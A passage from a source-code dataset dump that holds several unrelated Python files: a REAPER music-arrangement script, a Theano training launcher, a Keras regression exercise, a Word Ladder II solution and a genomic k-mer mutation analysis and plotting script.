\"Omnisphere_Pop_arp5\", \"Omnisphere_Pop_arp6\"]\n arpAudioFX = {\"ReaEQ (Cockos)\": [\"EQ_arp\"]}\n\n guitarRhythmPresets = [\"Omnisphere_Pop_rhythmGuitar1\", \"Omnisphere_Pop_rhythmGuitar2\", \"Omnisphere_Pop_rhythmGuitar3\" \"Omnisphere_Pop_rhythmGuitar4\", \"Omnisphere_Pop_rhythmGuitar5\"]\n guitarAudioFX = {\"ReaEQ (Cockos)\": [\"EQ_pop_rhythm_guitar\"], GuitarRig: [\"GuitarRig_funkyRhythmGuitar1\", \"GuitarRig_funkyRhythmGuitar2\", \"GuitarRig_funkyRhythmGuitar3\"]}\n\n padPresets = [\"Omnisphere_Pop_pad1\", \"Omnisphere_Pop_pad2\", \"Omnisphere_Pop_pad3\", \"Omnisphere_Pop_pad4\" \"Omnisphere_Pop_pad5\"]\n padAudioFX = {\"ReaEQ (Cockos)\": [\"EQ_pad\"]}\n\n kitPresets = [\"Battery4_Pop_kit1\"]\n kitMidiFX = {\"midi_transpose\": \"8va\"}\n kitAudioFX = {\"ReaEQ (Cockos)\": [\"bass_drum\"]}\n\n melodyPresets = [\"Kontakt5_Pop_melody1\", \"Omnisphere_Pop_melody2\", \"Omnisphere_Pop_melody3\", \"Omnisphere_Pop_melody4\", \"Omnisphere_Pop_melody5\", \"Omnisphere_Pop_melody6\"]\n melodyAudioFX = {\"ReaEQ (Cockos)\": [\"HPF_melody\"]}\n\n rhythmPresets = [\"Kontakt5_inspiredPiano\"]\n\n CreateLayer (bass2, \"BASS\", bassPresets, \"\", bassAudioFX, .2225)\n CreateLayer (rhythm, \"SYNTH ARP 2\", arpPresets, \"\", arpAudioFX, .18)\n CreateLayer (pianoRH, \"SYNTH ARP 1\", arpPresets, \"\", arpAudioFX, .225)\n CreateLayer (pianoRH, \"RHYTHM GUITAR\", guitarRhythmPresets, \"\", guitarAudioFX, .1425)\n CreateLayer (hiStrings, \"PAD\", padPresets, \"\", padAudioFX, .35)\n CreateLayer (drums, \"KIT\", kitPresets, kitMidiFX, kitAudioFX, .7)\n #CreateLayer (rhythm, \"PIANO\", arpPresets, \"\", \"\", .2)\n CreateLayer (melody, \"MELODY\", melodyPresets, \"\", melodyAudioFX, .4)\n\n\n elif mood == \"propulsion\" :\n\n bassPresets = [\"Omnisphere_Propulsion_bass1\", \"Omnisphere_Propulsion_bass2\", \"Omnisphere_Propulsion_bass3\", \"Omnisphere_Propulsion_bass4\", \"Omnisphere_Propulsion_bass5\"]\n bassAudioFX = {'ReaEQ (Cockos)': [\"EQ_Propulsion_bass\"]}\n\n pianoLHPresets = [\"Kontakt5_Propulsion_piano1\"]\n pianoLHAudioFX = {}\n\n guitarPresets = [\"Omnisphere_Propulsion_guitar1\"]\n guitarAudioFX = {}\n\n pianoPresets = [\"Kontakt5_Propulsion_piano1\"]\n pianoAudioFX = {}\n\n arpPresets = [\"Omnisphere_Propulsion_arp1\"]\n arpAudioFX = {\"ReaEQ (Cockos)\": [\"EQ_Arp\"]}\n\n stringArpPresets = [\"Kontakt5_Propulsion_stringArp1\", \"Kontakt5_Propulsion_stringArp2\"]\n stringArpAudioFX = {}\n\n ostinatoPresets = [\"Kontakt5_March_ostinato2\", \"Kontakt5_March_ostinato3\"]\n ostinatoMidiFX = {\"midi_arp\": \"wwArpEighthNotes\"}\n\n hiStringsPresets = [\"Kontakt5_Propulsion_hiStrings1\"]\n hiStringsAudioFX = {}\n loStringsPresets = [\"Kontakt5_Propulsion_loStrings1\"]\n loStringsAudioFX = {}\n stringsSusMidiFX = {\"MIDI_CCRider\": \"WB_MIDI_LFO_modwheel_dynamics\", \"midi_CC_mapper\": \"WB_MIDI_modwheel_limiter\"}\n\n cymbalsPresets = [\"Kontakt5_Propulsion_cymbals1\"]\n cymbalsAudioFX = {}\n\n padPresets = [\"Omnisphere_Propulsion_pad1\"]\n padAudioFX = {\"ReaEQ (Cockos)\": [\"EQ_Pad\"]}\n\n kitPresets = [\"Battery_Racecar_kit1\", \"Battery_Racecar_kit1\"]\n kitAudioFX = {}\n\n CreateLayer (bass2, \"BASS\", bassPresets, \"\", bassAudioFX, .145)\n CreateLayer (pianoLH, \"PIANO\", pianoLHPresets, \"\", pianoLHAudioFX, .225)\n #CreateLayer ([random.choice([bass2, cello, viola])], \"GUITAR\", guitarPresets, \"\", \"\", .23)\n #CreateLayer ([pianoRH, pianoLH], \"PIANO\", pianoPresets, \"\", \"\", .33)\n #CreateLayer ([pianoRH], \"ARP SYNTH\", arpPresets, \"\", \"\", .215)\n CreateLayer (pianoRH, \"OSTINATO\", ostinatoPresets, ostinatoMidiFX, \"\", .25)\n CreateLayer (arpStrings, \"ARP STRINGS\", stringArpPresets, \"\", \"\", .25)\n CreateLayer (hiStrings, \"HI STRINGS\", hiStringsPresets, stringsSusMidiFX, \"\", .175)\n CreateLayer (loStrings, \"LO STRINGS\", loStringsPresets, stringsSusMidiFX, \"\", .2)\n #CreateLayer ([pianoRH], \"PAD\", padPresets, \"\", padAudioFX, .22)\n CreateLayer (cymbals, \"CYMBALS\", cymbalsPresets, \"\", \"\", .3)\n CreateLayer (drums, \"DRUMS\", kitPresets, \"\", \"\", .65)\n CreateLayer (fills, \"DRUMS\", kitPresets, \"\", \"\", .65)\n #CreateLayer (bassDrum, \"BASS DRUM\", [\"Kontakt5_March_bassDrum1\"], \"\", .2)\n\n\n elif mood == \"peruvianwaltz\" :\n\n percPresets = [\"Kontakt5_PeruvianWaltz_perc1\",\"Kontakt5_PeruvianWaltz_perc2\",\"Kontakt5_PeruvianWaltz_perc3\",\"Kontakt5_PeruvianWaltz_perc4\"]\n percAudioFX = {}\n\n bassPresets = [\"Kontakt5_PeruvianWaltz_bass1\", \"Kontakt5_PeruvianWaltz_bass2\", \"Kontakt5_PeruvianWaltz_bass3\", \"Kontakt5_PeruvianWaltz_bass4\", \"Kontakt5_PeruvianWaltz_piano1\"]\n bassAudioFX = {}\n\n rhythmPresets = [\"Omnisphere_PeruvianWaltz_guitar1\", \"Omnisphere_PeruvianWaltz_guitar2\", \"Omnisphere_PeruvianWaltz_guitar3\", \"Omnisphere_PeruvianWaltz_guitar4\", \"Kontakt5_PeruvianWaltz_piano1\", \"Kontakt5_PeruvianWaltz_guitar1\", \"Kontakt5_PeruvianWaltz_guitar1\", \"Kontakt5_PeruvianWaltz_bandoneon1\", \"Kontakt5_PeruvianWaltz_mallets1\"]\n rhythmAudioFX = {}\n\n melodyPresets = [\"Kontakt5_PeruvianWaltz_piano1\", \"Kontakt5_PeruvianWaltz_guitar1\", \"Kontakt5_PeruvianWaltz_guitar1\"]\n melodyAudioFX = {\"ReaEQ (Cockos)\": [\"\"]}\n\n\n CreateLayer (rhythm, \"RHYTHM 1\", rhythmPresets, \"\", rhythmAudioFX, .25)\n CreateLayer (rhythm, \"RHYTHM 2\", rhythmPresets, \"\", rhythmAudioFX, .25)\n CreateLayer (bass1, \"BASS\", bassPresets, \"\", bassAudioFX, .25)\n CreateLayer (melody, \"MELODY\", melodyPresets, \"\", melodyAudioFX, .25)\n CreateLayer (pianoLH, \"PIANO BASS\", rhythmPresets[0], \"\", \"\", .25)\n\n for percLayers in range ( 1, random.randint(2,4) ) :\n CreateLayer (drums, \"PERCUSSION \" + str (percLayers), percPresets, \"\", percAudioFX, .25)\n\n\n\n elif mood == \"inspire\" :\n\n loStringsPresets = [\"Kontakt5_Inspire_loStrings1\"]\n\n hiStringsPresets = [\"Kontakt5_Inspire_hiStrings1\"]\n\n arpStringsPresets = [\"Kontakt5_Inspire_arpStrings1\", \"Kontakt5_Inspire_arpStrings2\"]\n\n wwArpPresets = [\"Kontakt5_Inspire_wwArp1\", \"Kontakt5_Inspire_wwArp2\"]\n\n guitarPresets = [\"Omnisphere_Inspire_guitar1\", \"Omnisphere_Inspire_guitar2\"]\n\n bassPresets = [\"Kontakt5_Inspire_bass1\", \"Kontakt5_Inspire_bass2\"]\n bassMidiFX = {\"midi_arp\": \"eighthNotes\"}\n\n pianoPresets = [\"Kontakt5_Inspire_piano1\"]\n\n bassDrumPresets = [\"Kontakt5_Inspire_lowPercussion1\"]\n\n kickDrumPresets = [\"Kontakt5_Pop_kickDrum1\"]\n\n cymbalPresets = [\"Kontakt5_Inspire_cymbals1\"]\n\n melodyPresets = [\"Omnisphere_Inspire_melody1\", \"Kontakt5_Inspire_stringsMel1\", \"Kontakt5_Inspire_stringsMel2\"]\n\n CreateLayer (loStrings, \"LOW STRINGS\", loStringsPresets, \"\", \"\", .25)\n CreateLayer (midStrings, \"HI STRINGS\", hiStringsPresets, \"\", \"\", .25)\n CreateLayer (arpStrings, \"STRINGS SHORT\", arpStringsPresets, \"\", \"\", .25)\n StringArpSetParameters ()\n CreateLayer (arpStrings, \"WW OSTINATO\", wwArpPresets, \"\", \"\", .25)\n WoodwindsOstinatoSetParamaters ()\n CreateLayer (melody, \"MELODY\", melodyPresets, \"\", \"\", .25)\n CreateLayer (bass2, \"GUITAR\", guitarPresets, \"\", \"\", .25)\n CreateLayer (bass2, \"BASS GUITAR\", bassPresets, bassMidiFX, \"\", .25 ) #add midi arp eighth note to this one\n #CreateLayer (bass1, inspired, \"STRUMMED GUITAR\")\n CreateLayer (pianoLH, \"PIANO\", pianoPresets, \"\", \"\", .25)\n CreateLayer (bassDrum, \"BASS DRUM\", bassDrumPresets, \"\", \"\", .25)\n CreateLayer (kickDrum, \"KICK DRUM\", kickDrumPresets, \"\", \"\", .25)\n CreateLayer (cymbals, \"CYMBALS\", cymbalPresets, \"\", \"\", .25)\n\n\n\n CreateSubmixTrack ()\n\n\n createDemoTracks = False\n\n if createDemoTracks == True :\n #DEMO TRACKS - Layers created for showcasing the melody\n melodyPresets = [\"Kontakt5_Propulsion_piano1\"]\n bassPresets = [\"Kontakt5_Propulsion_piano1\"]\n kitPresets = [\"Omnisphere_Pop_bass1\"]\n CreateLayer (melody, \"MELODY\", melodyPresets, \"\", \"\", .25)\n CreateLayer (bass1, \"BASS\", bassPresets, \"\", \"\", .175)\n CreateLayer (drums, \"DRUMS\", kitPresets, \"\", \"\", .35)\n\n CreateLayer (\"\", \"DEMO GROUP\", [\"\"], \"\", \"\", 1.0)\n GroupNumOfTracksBelowSelectedTrack (0, 3)\n\n #Solo first track\n #Render output as demo track\n\n setTempo ()\n\n\n\n #select all tracks except for STRINGS SHORT and nudge 50 ms to the right\n if mood == 'inspire' or mood == 'anthematic' or mood == 'propulsion' :\n\n numOfTracks = RPR_CountTracks (0)\n RPR_Main_OnCommand (40297, 1)\n for tr in range ( 0, numOfTracks ) :\n\n trId = RPR_GetTrack (0, tr)\n name = RPR_GetSetMediaTrackInfo_String (trId, \"P_NAME\", \" \", False)\n\n\n #RPR_ShowConsoleMsg (name[3] + \"\\n\")#+ \": \" + randType \"\\n\")\n\n if not name[3] == \"ARP STRINGS\" :\n #RPR_ShowConsoleMsg (\"select\")\n RPR_SetTrackSelected (trId, True)\n\n RPR_Main_OnCommand (40421, 1) #selects all items on selected tracks\n RPR_ApplyNudge( 0, 0, 0, 0, 75, False, 0 )\n\n\n\n RPR_SetEditCurPos (0, True, True) # set cursor to 0 (or beginning)\n #RPR_Main_OnCommand (40044, 1) # spacebar - plays track\n\n touchCmd = \"touch \" + projectPath + \"/\" + projectName + \".startRendering\"\n #RPR_ShowConsoleMsg(touchCmd)\n #print ( \"Touch Cmd: \", touchCmd )\n os.system(touchCmd)\n\n\n RPR_Main_OnCommand (41824, 1) # renders file with last known settings\n\n childProc = os.fork()\n if ( childProc == 0 ) :\n #print ( \"Inside reascript child process\")\n touchCmd = \"touch \" + projectPath + \"/\" + projectName + \".renderComplete\"\n #print ( \"Touch Cmd: \", touchCmd )\n os.system(touchCmd)\n\n\n #touchCmd = \"touch \" + projectPath + \"/\" + projectName + \".renderComplete\"\n #print ( \"Touch Cmd: \", touchCmd )\n #RPR_ShowConsoleMsg(touchCmd)\n\n #os.system(touchCmd)\n#preset = \"Play_Kontakt5_blah_blah\"\n#instrument = preset.split (\"_\", 1)\n#RPR_ShowConsoleMsg (instrument[0])\n\n\n\n\n\n\n\ndef FindMIDIRangePerSection (track, startpos, endpos, ) :\n\n for sect in range ( 1, numSections + 1 ) :\n\n startPos = (sect, compositionSettings[0][sect][0]['clock'])\n #RPR_Main_OnCommand (40153, 1) #opens MIDI editor\n #loop through all midi notes and store pitches in array\n #find distance between highest/lowest notes\n #RPR_GetTrackMIDINoteRange (0, RPR_GetTrack (0,4), 0, 0 )\n #RPR_MIDI_GetNote(take, noteidx, selectedOut, mutedOut, startppqposOut, endppqposOut, chanOut, pitchOut, velOut)\n\n #RPR_ShowConsoleMsg (str(sect) + \", \")\n #RPR_ShowConsoleMsg (str(startPos) + \", \")\n #RPR_ShowConsoleMsg (\"\\n\" + str(endPos) + \", \")\n\n RPR_SetEditCurPos (0, True, True)\n RPR_Main_OnCommand (40297, 1) # unselects all tracks\n RPR_SetTrackSelected (RPR_GetTrack (0,4), True)\n RPR_Main_OnCommand (40421, 1) #selects item on selected track\n\n take = RPR_GetMediaItem (0, 5)\n #RPR_ShowConsoleMsg (RPR_CountMediaItems(0))\n\n mediaItems = RPR_CountMediaItems(0)\n for item in range (0, RPR_CountMediaItems(0)) :\n RPR_ShowConsoleMsg (\"itemID: \" + str(item) + \", \\nselected: ,\" + str(RPR_IsMediaItemSelected (item)) + \"\\n\")\n\n if RPR_IsMediaItemSelected (item) == 1 :\n RPR_ShowConsoleMsg (RPR_GetMediaItem (0, item))\n\n #else :\n #RPR_ShowConsoleMsg (\"none\")\n#ReadCompositionSettings ()\n#compositionSettings, movementSettings = ReadCompositionSettings ()\n#numSections = len(compositionSettings[0])\n#FindMIDIRangePerSection (0,0,0)\n","sub_path":"pyscripts/watsonbeat_promo.py","file_name":"watsonbeat_promo.py","file_ext":"py","file_size_in_byte":48251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"175059980","text":"#!/usr/bin/env python2\n\n# forcing use gpu\nimport os \nos.environ['THEANO_FLAGS'] = \"device=gpu0\"\nimport theano\nassert theano.config.device == 'gpu0'\n\nMODEL_NAME = 'model_1'\nLOGGING_FILENAME = '../../scratch/%s.log' % MODEL_NAME\nMODEL_FILENAME = '../../scratch/%s.npz' % MODEL_NAME\nCORPUS_FILENAME = '../../data/books_large.txt'\nDICTIONARY = '../../scratch/book_dictionary_large.pkl' \nRELOAD = False\n\nimport logging_spec\nlogging_spec.init_logging(filename = LOGGING_FILENAME, \n filemode='a' if RELOAD else 'w')\n\nimport logging\nlogger = logging.getLogger('train_run_gpu')\n\nimport train\n\nlogger.info('loading corpus...')\nX = list(line for line in open(CORPUS_FILENAME))\n\nlogger.info('call training.')\n\ntrain.trainer(X,\n saveto=MODEL_FILENAME,\n dictionary=DICTIONARY,\n reload_=RELOAD)\n","sub_path":"skip-thoughts/training/train_run_gpu.py","file_name":"train_run_gpu.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"303865244","text":"# 200525 1200~\n# 42번 카피 Dense로 리뉴얼\n\n''' 튜닝값\n loss: 5.0994861111597345e-11\n [[ 94.999985]\n [ 95.99997 ]\n [ 97. ]\n [ 98. ]\n [ 99.000015]\n [100. ]]\n'''\n\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Input\n\n# 1. 데이터\na = np.array(range(1, 101))\nsize = 5 # timp_steps : 4\n\ndef split_x(seq, size):\n aaa = []\n for i in range(len(seq) - size + 1):\n subset = seq[i : (i+size)]\n aaa.append([item for item in subset])\n return np.array(aaa)\n\ndataset = split_x(a, size) # 96,5\nprint(dataset)\nprint(dataset.shape) # 96,5\n\nx = dataset[:90, 0:4] # :90, = 90행까지, 0:4 = 인덱스 3 까지 슬라이싱\ny = dataset[:90, 4] # :90, = 90행까지, 인덱스 4 부분만 슬라이싱.\nx_pred = dataset[-6:, 0:4] # 마지막 행에서 6번쨰 인덱스, 인덱스 3 까지 슬라이싱\n# x_pred = dataset[90:96, 0:4] # x_pred 같은 결과치\n\nprint(x.shape) # 90,4\n# print(x)\nprint(y.shape) # 90,\n# print(y)\nprint(x_pred.shape) # 6,4\n# print(x_pred)\n\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(\n x, y, random_state = 66, shuffle = True,\n # x, y, shuffle = False,\n train_size = 0.8)\n\n''' 데이터 나누는 다른 방법?\n train, test, predict 값 나누기 : train_test_split이용\n # x, y 나누기\n x = dataset[:, 0:4]\n y = dataset[:, 4]\n\n # x_predict 값\n from sklearn.model_selection import train_test_split\n x1, x_predict, y1, y_predict = train_test_split(x, y, train_size = 90/96)\n\n # train_test_split\n x_train, x_test, y_train, y_test = train_test_split(x1, y1, train_size = 0.8)\n\n -----------------------------------------------------------------------------\n # 두 개의 성능은 동일하다.\n # 다만, slicing은 원론적으로 알 수 있고, \n # train_test_split는 percentage(%)로 나눌 수 있어서 좀 더 편리하다.\n\n print(x_train.shape)\n print(x_test.shape)\n print(x_predict.shape)\n'''\n\n\n# 2. 모델\nmodel = Sequential()\nmodel.add(Dense(100, input_shape= (4, ))) # input_length : time_step (열)\nmodel.add(Dense(100))\nmodel.add(Dense(100))\nmodel.add(Dense(80))\nmodel.add(Dense(50))\nmodel.add(Dense(10))\nmodel.add(Dense(1))\n\nmodel.summary()\n\n\n# EarlyStopping\nfrom keras.callbacks import EarlyStopping\nes = EarlyStopping(monitor = 'loss', patience=100, mode = 'auto')\n\n# 3. 훈련\nmodel.compile(loss='mse', optimizer='adam', metrics = ['mse'] )\nmodel.fit(x_train, y_train, epochs=700, batch_size=32, verbose=2,\n validation_split=0.2, # train의 20%\n shuffle=True, # 셔플 사용 가능\n callbacks=[es])\n\n\n# 4. 평가, 예측\nloss, mse = model.evaluate(x_test, y_test, batch_size=32)\nprint('loss:', loss)\nprint('mse:', mse)\n\ny_predict = model.predict(x_pred)\nprint(y_predict)","sub_path":"keras/keras43_Dense_split2.py","file_name":"keras43_Dense_split2.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"11324919","text":"class Solution(object):\n \n def findLadders(self, beginWord, endWord, wordList): \n queueFront, queueBack = set([beginWord]), set([endWord])\n retpath, path, next = [], [beginWord], collections.defaultdict(list)\n \n if endWord not in wordList:\n return retpath\n \n while queueFront and queueBack:\n if len(queueFront) <= len(queueBack):\n Find = self.Bfs_extended(queueFront, queueBack, 0, wordList, next)\n else:\n Find = self.Bfs_extended(queueBack, queueFront, 1, wordList, next) \n \n if Find == True:\n break;\n \n self.FindPath(beginWord, endWord, next, path, retpath)\n return retpath\n \n def FindPath(self, beginWord, endWord, next, path, retpath):\n if beginWord == endWord:\n retpath.append(path[:])\n return \n \n if beginWord in next:\n for x in next[beginWord]:\n path.append(x)\n self.FindPath(x, endWord, next, path, retpath)\n path.pop(-1)\n \n \n def buildTree(self, Direction, KeyWord, letter, next):\n if not Direction:\n next[KeyWord] += [letter]\n else:\n next[letter] += [KeyWord]\n \n \n def Bfs_extended(self, this_lev, other_lev, Direction, wordList, next):\n Find = False\n \n for x in (this_lev | other_lev):\n if x in wordList:\n wordList.remove(x)\n \n next_lev = set() \n for KeyWord in this_lev:\n for c in string.ascii_lowercase:\n for length in range(len(KeyWord)):\n letter = KeyWord[:length] + c + KeyWord[length+1:]\n if letter in other_lev:\n Find = True\n self.buildTree(Direction, KeyWord, letter, next)\n elif letter in wordList:\n next_lev.add(letter)\n self.buildTree(Direction, KeyWord, letter, next)\n\n while this_lev:\n this_lev.pop()\n for x in next_lev:\n this_lev.add(x)\n \n return Find\n","sub_path":"126. Word Ladder II.py","file_name":"126. Word Ladder II.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"151403235","text":"\nfrom tools.mcounter_tools import (\n read_vcf_allel, ind_assignment_scatter_v1, MC_sample_matrix_v1,\n heatmap_v2, read_args\n)\n\n#from tools.SLiM_pipe_tools import mutation_counter_launch\nimport re\nimport pandas as pd\nimport os\nimport numpy as np\nimport itertools as it\nimport collections\nimport gzip\n\ndef recursively_default_dict():\n return collections.defaultdict(recursively_default_dict)\n\n\n## directories\nmain_dir= os.getcwd() + '/'\ncount_dir= main_dir + 'mutation_counter/count/'\ndir_launch= main_dir + 'mutation_counter'\nmuted_dir= main_dir + 'mutation_counter/data/mutation_count/'\nsims_dir= main_dir + 'data/phase1_100kb/'\nindfile= 'integrated_call_samples.20101123.ALL.panel_regions.txt'\ndiffs= True\n\nmutlog= 'toMut.log'\nmin_size= 40\nsampling= [5,100,5]\nbases= 'ATCG'\nksize= 3\nsample_sim= 0\nstepup= ''\n\ndata, data_freqs = MC_sample_matrix_v1(min_size= min_size, samp= sampling, stepup= stepup, count_dir= count_dir, \n dir_launch= dir_launch,main_dir= main_dir,sim_dir= sims_dir, indfile= indfile,\n muted_dir= muted_dir, diffs= diffs,sample_sim= sample_sim,\n exclude= False)\n\n\n\n\n###\n\ndef run_stats(ref_sim,ref_pair,data,data_freqs= {}):\n '''\n co-factor function to md counter comparisons, deploy heatmap and calculate kmer proportion differences \n between pairs of population.\n - ref pair: list of tuples. can't be dictionary because of repeated pops / reference tags. \n '''\n batch= ref_sim.split('C')[0]\n sizes= [data[x[0]]['sizes'][x[1]] for x in ref_pair]\n #\n\n chromosomes= [ref_sim.split('.')[0].split('C')[1]]\n\n pop_counts= {\n g: data[g[0]]['counts'][g[1]] for g in ref_pair\n }\n\n num_variants= {\n g: data[g[0]]['Nvars'][g[1]] for g in ref_pair\n }\n\n ratio_grid, sig_cells= heatmap_v2(chromosomes,pop_counts,num_variants,\n {},frequency_range, exclude, p_value, muted_dir,tag= '',\n test= test_m,output= 'pval')\n \n pop_counts= {\n z: s / np.sum(s) for z,s in pop_counts.items()\n }\n\n grid_diffs= pop_counts[ref_pair[0]] - pop_counts[ref_pair[1]]\n\n comb_stats= {\n 'grids': ratio_grid,\n 'sigs': sig_cells,\n 'sizes': sizes,\n 'batch': batch,\n 'diffs': grid_diffs\n }\n\n if data_freqs:\n comb_stats['freqs']= {\n ref_pair.index(x): data_freqs[x[0]][x[1]] for x in ref_pair\n }\n \n return comb_stats\n\n\n\n\ndef mcounter_deploy_v2(data,p_value= 1e-5, test_m= 'fisher', individually= False,\n exclude= False, frequency_range= [0,1], data_freqs= {}, extract= 'pval',\n muted_dir= '', tag_ref= '_ss'):\n '''\n Parse data dictionary.\n data: {sim: {counts:{pop:g}, Nvars:{pop:g}, sizes:{pop:g}}}\n i: use sim and pop IDs to create dictionary connecting original populations to \n subset populations created using ind_assignment_scatter_v1.\n ii: for each pair of reference/subset populations, launch heatmapv2. return grid pvals or proportions,\n and proportion of mutations in subset population. allows for fisher or chi2 test for pval.\n - v2: compares sub pops to ref full pops other than its own\n '''\n \n avail= list(data.keys())\n ref_idx= [int(tag_ref in avail[x]) for x in range(len(avail) )]\n categ= {\n z: [x for x in range(len(avail)) if ref_idx[x] == z] for z in [0,1]\n }\n\n pop_asso= {avail[x]:recursively_default_dict() for x in categ[0]}\n\n for av in categ[1]:\n dat= [x for x in data[avail[av]]['counts'].keys() if tag_ref in x]\n ref_sim= avail[av].split(tag_ref)[0]\n ref_pop= [x.split('.')[0].strip(tag_ref) for x in dat]\n for p in range(len(dat)):\n pop_asso[ref_sim][ref_pop[p]][avail[av]]= dat[p]\n\n d= 0\n count_data= recursively_default_dict()\n\n for ref in pop_asso.keys():\n batch= ref.split('C')[0]\n \n for pop in pop_asso[ref].keys():\n for sub in pop_asso[ref][pop].keys():\n \n ref_pair= [(ref, pop),(sub, pop_asso[ref][pop][sub])]\n \n count_data[d]= run_stats(ref,ref_pair,data,data_freqs= data_freqs)\n \n count_data[d]['pop']= pop\n \n count_data[d]['other']= [] \n \n \n for ref2 in pop_asso.keys():\n for pop2 in pop_asso[ref2].keys():\n if [ref,pop] == [ref2,pop2]:\n continue\n if ref2.split('C')[0] != batch: \n continue\n ##\n pop_dict= {\n ref2: pop2,\n sub: pop_asso[ref][pop][sub]\n }\n ref_pair= [(ref2, pop2),(sub, pop_asso[ref][pop][sub])]\n \n pair_stats= run_stats(ref,ref_pair,data,data_freqs= data_freqs)\n \n count_data[d]['other'].append(pair_stats['diffs'])\n \n d += 1\n \n return pop_asso, count_data\n\n\n\n\n\n\n###########\n##########\n\n\nfrom tools.mcounter_tools import mcounter_deploy\n\np_value= 1e-5\ntest_m= 'fisher'\nindividually= False\nexclude= False\nfrequency_range= [0,1]\nextract= 'pval'\n\npop_asso, count_data= mcounter_deploy_v2(data,p_value= p_value, test_m= test_m, individually= individually,\n exclude= exclude, frequency_range= frequency_range, extract= extract,\n muted_dir= muted_dir, data_freqs= data_freqs)\n\n\n############## mutation grids\n############## mutation grids\nfrom functools import reduce # forward compatibility for Python 3\nimport operator\n\nfrom tools.fasta_utilities import (\n get_mutations, kmer_comp_index, kmer_mut_index\n)\n\nbases= 'ATCG'\nksize= 3\n\nmutations= get_mutations(bases= bases,ksize= ksize)\nkmers, kmer_idx= kmer_comp_index(mutations)\n\nmut_lib= kmer_mut_index(mutations)\nlabels= [kmer_idx[x][0] for x in sorted(kmer_idx.keys())]\ngrid_labels= np.array(labels).reshape(24,4)\nlist_labels= grid_labels.reshape(1,np.prod(grid_labels.shape))[0]\n##############\n############## process grids\n\n\navailable= list(count_data.keys())\nsubsamp= len(count_data)\navail_sub= np.random.choice(available,subsamp,replace= False)\n\n### 1. extract grids\ngrids= [count_data[s]['grids'] for s in avail_sub]\ngrid_shape= grids[0].shape\ngrid_total= np.prod(grid_shape)\n\n\ngrid_diffs= [count_data[s]['diffs'] for s in avail_sub]\n## extract statistics per mutation.\nmut_grid= {}\nmut_diffs= {}\n\nfor row in range(grid_shape[0]):\n for col in range(grid_shape[1]):\n mut= grid_labels[row,col]\n mut_grid[mut]= []\n mut_diffs[mut]= []\n\n for idx in range(len(avail_sub)):\n mut_grid[mut].append(grids[idx][row,col])\n mut_diffs[mut].append(grid_diffs[idx][row,col]**2)\n\n## mask infinite values and compute std.\n#grids= [np.ma.masked_where(a == np.inf, a) for a in grids]\n#grid_mean= [np.mean(x) for x in grids] \n#grid_std= [np.std(x) for x in grids]\n#prop_mean= [np.mean(x) for x in props]\n\n### 2. calculate proportions across smulations\npop_proportions= [count_data[s]['sizes'][1] / count_data[s]['sizes'][0] for s in avail_sub]\npop_proportions= [round(x,3) for x in pop_proportions]\n### 3. batch names\nbatch_names= [count_data[s]['batch'] for s in avail_sub]\nbatch_dict= {\n z:[x for x in range(len(avail_sub)) if batch_names[x] == z] for z in list(set(batch_names))\n}\n\n\n###############\n############### plots\n\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\n\n\nfig_dir= 'Figures/kmers'\nos.makedirs(fig_dir, exist_ok=True)\nfig_dir= fig_dir + '/'\n\n\n\n##################################################### KMER\n## dictionary to hold values across mutation contexts. \ncompound_kmer= {\n y: {\n g: {\n z: [] for z in list(set(pop_proportions))\n } for g in batch_dict.keys()\n } for y in ['pval','diffs']\n }\n\n\n## plot first for every mutation context.\nfor kmer in mut_grid.keys():\n fig_kmer= fig_dir + '/' + kmer\n os.makedirs(fig_kmer, exist_ok=True)\n fig_kmer= fig_kmer + '/'\n \n plot_data= {\n 'pval': mut_grid[kmer],\n 'diffs': mut_diffs[kmer]\n }\n \n for strata in plot_data.keys():\n batch_hold= {}\n ydata= plot_data[strata]\n \n xlab= 'relative sampling'\n ylab= 'mean matrix p-val'\n\n d=0\n\n colors= ['ro', 'bs', 'g^']\n\n append_all= []\n for i in batch_dict.keys():\n\n xprep= [pop_proportions[x] for x in batch_dict[i]]\n #print(xprep)\n xprep= {\n z: [x for x in range(len(xprep)) if xprep[x] == z] for z in list(set(xprep))\n }\n \n\n yprep= [ydata[x] for x in batch_dict[i]]\n yprep= {\n z: [yprep[x] for x in xprep[z]] for z in xprep.keys()\n }\n for prop_z in yprep.keys():\n compound_kmer[strata][i][prop_z].extend(yprep[prop_z])\n\n x= sorted(xprep.keys())\n y= [np.mean(yprep[z]) for z in x]\n error= [np.std(yprep[z]) for z in x]\n\n batch_hold[i]= {\n 'x': x,\n 'y': y,\n 'error': error\n }\n\n plt.figure(figsize=(10, 10))\n\n plt.errorbar(x,y,yerr=error)\n plt.xlabel(xlab + ' {} comparisons'.format(len(batch_dict[i])))\n #plt.ylim(0,1.5)\n plt.ylabel(ylab)\n plt.title(i)\n\n plt.savefig(fig_kmer + '{}_{}_{}.png'.format(kmer,i, strata),bbox_inches='tight')\n plt.close()\n \n #append_all.extend([x,y,colors[d]])\n #plt.show()\n\n d += 1\n\n plt.figure(figsize=(10, 10))\n\n for i in batch_hold.keys():\n plt.errorbar(batch_hold[i]['x'],batch_hold[i]['y'],yerr=batch_hold[i]['error'],label= i)\n\n plt.xlabel(xlab)\n #plt.ylim(0,1.5)\n plt.ylabel(ylab)\n plt.title('combined stats')\n plt.legend()\n\n plt.savefig(fig_kmer + 'combined_{}_{}.png'.format(kmer,strata),bbox_inches='tight')\n plt.close()\n\n\n##########################################\n########################################## GEN\n\nxlab= 'relative sampling'\nylab= 'mean matrix p-val'\n\nfor i in batch_dict.keys(): \n plt.figure(figsize=(20, 10))\n\n for kmer in mut_grid.keys():\n\n plot_data= {\n #'pval': mut_grid[kmer],\n #'prop': mut_prop[kmer],\n 'diffs': mut_diffs[kmer]\n }\n\n for strata in plot_data.keys():\n ydata= plot_data[strata]\n\n d=0\n\n colors= ['ro', 'bs', 'g^']\n\n append_all= []\n 